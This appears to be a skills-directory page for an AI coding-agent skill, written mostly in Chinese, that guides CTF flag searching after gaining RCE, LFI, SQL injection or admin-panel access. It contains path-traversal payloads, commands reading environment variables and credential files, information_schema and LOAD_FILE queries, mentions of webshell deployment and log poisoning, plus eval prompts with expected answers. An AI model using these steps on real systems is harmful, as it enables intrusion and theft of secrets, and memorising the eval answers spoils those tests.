
Ctf Flag Hunting
- 30 installs
- 1.6k repo stars
- Updated July 19, 2026
- wgpsec/aboutsecurity
Helps with ai & agent building tasks during AI-assisted development.
About
ctf-flag-hunting is a Claude Code skill for ai & agent building. It helps solo builders move faster with AI-assisted coding.
- ctf-flag-hunting
- AI & Agent Building
- AI-coding skill
Ctf Flag Hunting by the numbers
- 30 all-time installs (skills.sh)
- +2 installs in the week ending Jul 27, 2026 (Skillselion tracking)
- Ranked #9,276 of 16,546 AI & Agent Building skills by installs in the Skillselion catalog
- Data as of Aug 5, 2026 (Skillselion catalog sync)
npx skills add https://github.com/wgpsec/aboutsecurity --skill ctf-flag-huntingAdd your badge
Show developers this skill is listed on Skillselion. Paste this into your README.
| Installs | 30 |
|---|---|
| repo stars | ★ 1.6k |
| Last updated | July 19, 2026 |
| Repository | wgpsec/aboutsecurity ↗ |
What it does
Helps with ai & agent building tasks during AI-assisted development.
Files
CTF Flag 搜索策略
⛔ 深入参考(补充读物)
- 完整搜索路径和命令 → references/flag-search-paths.md
- 本 skill 已包含核心搜索路径,references 用于补充极端情况
---
Phase 1: 按权限类型选择搜索策略
你有什么权限?
├─ 命令执行(RCE)→ Phase 2
├─ 文件读取(LFI)→ Phase 3
├─ 数据库访问(SQLi)→ Phase 4
└─ Web 管理后台 → Phase 5---
Phase 2: RCE — 文件系统搜索
优先级顺序(按成功率排列):
2.1 标准 flag 路径(先试这些,一次试完)
cat /flag.txt && cat /flag && cat /root/flag.txt && cat /home/*/flag.txt2.2 非标准路径(标准路径失败后)
cat /var/www/html/flag.txt
cat /var/www/html/flag.php
cat /tmp/flag
cat /tmp/flag.txt
cat /opt/flag.txt
cat /app/flag.txt也可以看看路径下的文件名
ls /root
ls /tmp2.3 全盘搜索(路径不确定时)
find / -name "flag*" 2>/dev/null
find / -name "*.txt" -path "*/flag*" 2>/dev/null
grep -r "flag{" / --include="*.txt" --include="*.php" --include="*.html" 2>/dev/null2.4 环境变量和进程
env | grep -i flag
cat /proc/self/environ | tr '\0' '\n' | grep -i flag
cat /proc/self/cmdline | tr '\0' '\n' | grep -i flag2.5 数据库配置 → 查库
cat /var/www/html/config.php # 数据库连接凭据
cat /var/www/html/.env # 环境变量泄露
cat /app/config.py找到数据库凭据后:
mysql -u <user> -p<password> -e "SHOW DATABASES; USE <db>; SHOW TABLES; SELECT * FROM flag;"2.6 进程和网络
ps aux | grep -i flag # 进程命令行参数
netstat -tlnp # 内网服务可能有 flag
lsof -i # 开放端口对应的服务---
Phase 3: LFI — 文件读取搜索
LFI 比 RCE 限制更多——只能读文件,不能执行命令。
路径遍历找 flag 时,对每个深度同时尝试多种文件名变体:
# 每个深度都要批量测试这些变体(不要只试 flag 不试 flag.txt!)
../flag ../flag.txt ../.flag ../flag.md
../../flag ../../flag.txt ../../.flag
../../../flag ../../../flag.txt ../../../.flag
# 同时测试绝对路径
/flag /flag.txt /root/flag.txt /tmp/flag⚠️ 常见失败模式:只尝试../flag而忽略../flag.txt,导致超时。务必同时发送带后缀和不带后缀的变体。
优先级顺序:
1. 标准 flag 路径:对每个深度(../、../../、../../../)同时尝试 flag、flag.txt、.flag、flag.md 2. 确认可读性:/etc/passwd 能读 → 说明 LFI 有效 3. 配置文件(找更多凭据):
/var/www/html/config.php
/var/www/html/.env
/proc/self/environ
/proc/self/mounts4. 源码文件:/var/www/html/index.php、/app/app.py — 可能发现 RCE 入口 5. 日志文件:/var/log/apache2/access.log — 日志投毒准备
---
Phase 4: SQLi — 数据库搜索
-- 1. 列出现有数据库
SHOW DATABASES;
-- 2. 切换后列出表
USE <db>;
SHOW TABLES;
-- 3. 直接查 flag 表
SELECT * FROM flag;
SELECT * FROM flags;
SELECT * FROM secret;
SELECT * FROM secret_table;
-- 4. 不知道表名时搜索
SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%flag%';
-- 5. 读取文件(需要 FILE 权限)
SELECT LOAD_FILE('/flag.txt');---
Phase 5: Web 管理后台搜索
1. 翻遍所有页面 — flag 可能在非标准页面("关于"、"帮助"、"调试") 2. 用户相关字段 — notes、bio、email、description 中可能藏 flag 3. 系统配置页 — 「系统信息」「服务器状态」可能显示 flag 4. 文件管理/模板编辑 — 可写文件时直接部署 webshell 5. 源码注释 — 搜索 HTML 注释、JS 注释中的 flag 字符串
---
Phase 6: 搜不到 flag 时
标准路径都试过仍找不到,尝试以下降级手段:
1. 切换提取方式:
- RCE 盲注:利用时间延迟或 DNS 外带逐字符提取
- LFI 配合竞争条件或 PHP session 包含
2. 扩大搜索范围:
- 数据库其他表:
SELECT * FROM users LIMIT 10;— flag 可能泄露在用户数据里 - 历史命令:
history— 之前做过的操作可能遗留 flag 路径
3. 找其他入口:
- 翻 Jenkins/GitLab/后台管理 — 也许有 flag 公开在那
- 检查 nginx/apache 配置文件:
/etc/nginx/sites-enabled/— 路径映射可能泄露
4. 利用题目暗示:
- 题目名称往往暗示 flag 位置(如
baby_pwn→ pwn 类题目) - 描述中的关键词("database"、"source")指向搜索方向
---
Flag 格式识别
flag{hex_string}— 最常见,32/40/64 字符flag{string}、CTF{string}— 小写或其他前缀- 纯字符串(题目会说明)
假 flag 陷阱:flag{test}、flag{this_is_not_the_flag} 是迷惑项。
---
注意事项
- 先验证再提交:拿到 flag 后用
ctf-flag-verification验证格式和长度 - 假 flag 判断:长度/字符异常,很可能是迷惑项
- LFI 优先读配置:配置文件能告诉你数据库密码,从数据库找 flag 比猜路径可靠
- RCE 优先查库:很多 CTF 的 flag 不在文件系统里,在数据库中
{
"skill_name": "ctf-flag-hunting",
"evals": [
{
"id": 1,
"name": "flag-hunting-priority-by-access",
"prompt": "CTF 中你通过 LFI 获得了文件读取能力(不是 RCE)。直接读 /flag.txt 和 /flag 都返回空。请按优先级描述你的下一步搜索策略。",
"expected_output": "按 LFI 能力的优先搜索路径:/proc/environ → 源码 → 数据库配置 → LFI→RCE 升级",
"expectations": [
"/proc/self/environ|环境变量|FLAG环境变量",
"/proc/1/environ|PID 1|Docker进程|tr '\\0' '\\n'",
"源码|config.php|app.py|数据库凭据|连接信息",
"LFI→RCE|日志投毒|session包含|升级权限",
"/proc/self/cmdline|启动命令|参数中的flag"
],
"required_terms": [
"config.php",
"/proc/self/environ",
"/proc/1/environ"
]
},
{
"id": 2,
"name": "flag-hunting-fake-flag-trap",
"prompt": "你通过 RCE 在 /flag.txt 中找到了 flag{this_is_a_test_flag}。提交后判定为错误。请分析可能的原因和下一步。",
"expected_output": "识别假 flag 陷阱,继续搜索真实 flag",
"expectations": [
"假flag|fake flag|诱饵|test_flag不是真flag",
"其他位置|数据库|环境变量|继续搜索",
"env|grep FLAG|环境变量中的真flag",
"数据库|sqlite3|mysql|表中搜索flag",
"/root|/home|其他目录|全局搜索"
],
"required_terms": [
"/root",
"/home",
"假flag"
]
},
{
"id": 3,
"name": "flag-hunting-sqli-systematic",
"prompt": "CTF 中你只有 SQL 注入能力(UNION SELECT),没有 RCE 也没有 LFI。请描述你通过 SQL 注入系统性搜索 flag 的方法。",
"expected_output": "SQL 注入下的 flag 搜索:LOAD_FILE + 全库搜索",
"expectations": [
"LOAD_FILE|读文件|/flag.txt|文件读取",
"information_schema|所有表名|所有列名|全库扫描",
"LIKE '%flag%'|column_name|模糊搜索列名",
"所有数据库|SHOW DATABASES|不只当前库",
"FILE权限|secure_file_priv|受限时只搜数据库"
],
"required_terms": [
"LOAD_FILE",
"/flag.txt",
"information_schema"
]
}
]
}
{
"skill_id": "ctf-flag-hunting",
"recall_tests": [
{
"id": 1,
"type": "keyword_positive",
"description": "核心关键词",
"keywords": [
"flag hunting",
"flag",
"getflag",
"ctf flag"
]
},
{
"id": 2,
"type": "keyword_positive",
"description": "搜索场景",
"keywords": [
"文件系统",
"数据库",
"环境变量"
]
},
{
"id": 3,
"type": "keyword_negative",
"description": "不应被forensics召回",
"keywords": [
"volatility",
"pcap"
]
}
],
"llm_tests": [
{
"id": 1,
"name": "ctf-flag-hunting-scenario",
"scenario": "已获得命令执行权限,但不知道 flag 在容器的哪个位置。请搜索 flag 查找方法论。",
"max_rounds": 2,
"expect_tool_calls": [
{
"tool": "list_skills",
"keyword_contains": "flag|hunting|查找|搜索flag"
},
{
"tool": "read_skill",
"id": "ctf-flag-hunting"
}
]
}
]
}
CTF Flag 搜索完整路径
情况 A: 有命令执行(RCE)
1. 常见 flag 文件路径(先试这些)
cat /flag
cat /flag.txt
cat /flag.php
cat /root/flag.txt
cat /home/*/flag.txt
cat /var/www/html/flag.php
cat /tmp/flag
cat /opt/flag.txt2. 文件系统搜索
find / -name "flag*" 2>/dev/null
grep -r "flag{" / --include="*.txt" --include="*.php" 2>/dev/null3. 环境变量
env | grep -i flag
cat /proc/1/environ | tr '\0' '\n' | grep FLAG4. 数据库配置 → 连接数据库
cat /var/www/html/config.php
cat /var/www/html/.env
cat /app/config.py5. 进程和网络
ps aux # flag 可能在进程命令行参数里
netstat -tlnp # 内网服务可能藏着 flag情况 B: 有文件读取(LFI)
按优先级: 1. /flag.txt, /flag, /flag.php, /.flag, /flag.md 2. 路径遍历:对 ../、../../、../../../ 每个深度都同时尝试 flag、flag.txt、.flag 3. /etc/passwd — 确认可读性 4. /var/www/html/config.php — 数据库凭据 5. /proc/self/environ — 环境变量中的 flag 6. 源码文件 — 发现更多漏洞
⚠️ 路径遍历时必须同时发送带后缀和不带后缀的变体,不要只试../flag不试../flag.txt
LFI 转 RCE:PHP session 文件写入、日志投毒、php://filter
情况 C: 有数据库访问(SQLi)
SHOW DATABASES;
SHOW TABLES;
SELECT * FROM flag;
SELECT * FROM flags;
SELECT * FROM secret;
SELECT table_name, column_name FROM information_schema.columns WHERE column_name LIKE '%flag%';
SELECT LOAD_FILE('/flag.txt'); -- 需要 FILE 权限情况 D: 只有 Web 管理后台
1. 翻遍所有页面 — flag 可能在配置页/用户信息中 2. 检查「系统信息」「关于」「调试」页面 3. 查看用户列表 — flag 可能在 notes/bio/email 字段 4. 检查文件管理/模板编辑功能